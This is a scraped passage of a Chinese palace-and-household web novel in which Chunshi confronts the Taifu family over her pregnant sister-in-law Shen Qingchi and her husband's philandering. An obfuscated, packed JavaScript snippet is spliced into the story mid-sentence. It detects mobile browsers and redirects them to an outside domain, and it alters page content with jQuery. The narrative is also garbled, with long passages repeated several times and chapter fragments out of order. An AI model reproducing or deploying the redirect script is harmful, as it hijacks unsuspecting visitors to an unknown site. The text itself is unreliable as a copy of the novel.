春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054789|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 第262章 内子做事向来有分寸 春喜就是块油盐不进的臭石头。 赵氏拿她没有办法,只能让下人把吴氏和沈金花先带过来。 “迟儿,我的好孙女,你受苦了啊!” 还没进门,吴氏就嚎出声来,沈金花则在旁边大骂:“我早就说了这个李继贤不是什么好东西,他先骗了你的身子要你做妾,如今又趁着你怀孕去外面拈花惹草,日后他要是被狐狸精迷了眼,指不定还会做出什么来呢。” 赵氏一直觉得沈清迟配不上自己儿子,更看不上沈家人,听到沈金花这么骂自己的儿子,脸色有些难看。 “迟儿和我儿是两情相悦的,我儿何时骗了她的身子,亲家小姑,你说话客气点儿。” 知道有春喜撑腰,沈金花也没巴着赵氏,撇撇嘴道:“两情相悦就能跟别人家的姑娘无媒苟合,太傅府的家教真是好呢。” “你说什么?” 赵氏竖眉,这沈家人不过是群泥腿子,也有脸跟她谈家教? 赵氏满脸的瞧不上让沈金花也很不爽,她掏掏耳朵,阴阳怪气道:“我说,我们村杀猪的张大牛都知道要拜堂成亲了才能睡姑娘,亲家夫人不会连这都不知道吧?” “……” 赵氏的脸色越发难看,沈清迟连忙开口:“小姑,夫君和婆母对我很好,你别这样说他。” 沈金花看似是在帮她说话,但无媒苟合这件事被提起来,沈清迟脸上也不好看。 春喜叫沈家人来根本不是想帮她主持公道,而是想大闹一番,挑拨她跟婆家的关系呢。 这般想着,沈清迟在心里越发地痛恨起春喜来。 但不等她向春喜发难,沈金花就先嚷嚷开:“你现在还怀着身孕,你男人就背着你出去寻花问柳,还动手打你,你还帮他说话,你脑子是被驴踢了吗?” 吴氏也板着脸训斥:“你毕竟还姓沈,是我清远侯府的嫡出小姐,你愿意让别人轻贱你那可是在给侯府蒙羞。” “……” 吴氏和沈金花说得有模有样,沈清迟并不觉得温暖,只觉得虚伪。 之前她被关进大理寺,沈家人对她不闻不问,最后还是五婶想办法让太傅府出钱把她赎出来的。 她一直都只是个换取利益的工具,五婶才是她唯一的亲人。 就算李继贤对她不好,真的在外面拈花惹草,但只要她生下儿子,有五婶在,外面的狐狸精就越不过她去。 这般想着,沈清迟冷着脸反驳:“我现在要养胎,不能侍奉夫君,夫君去外面找点儿乐子也是人之常 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” 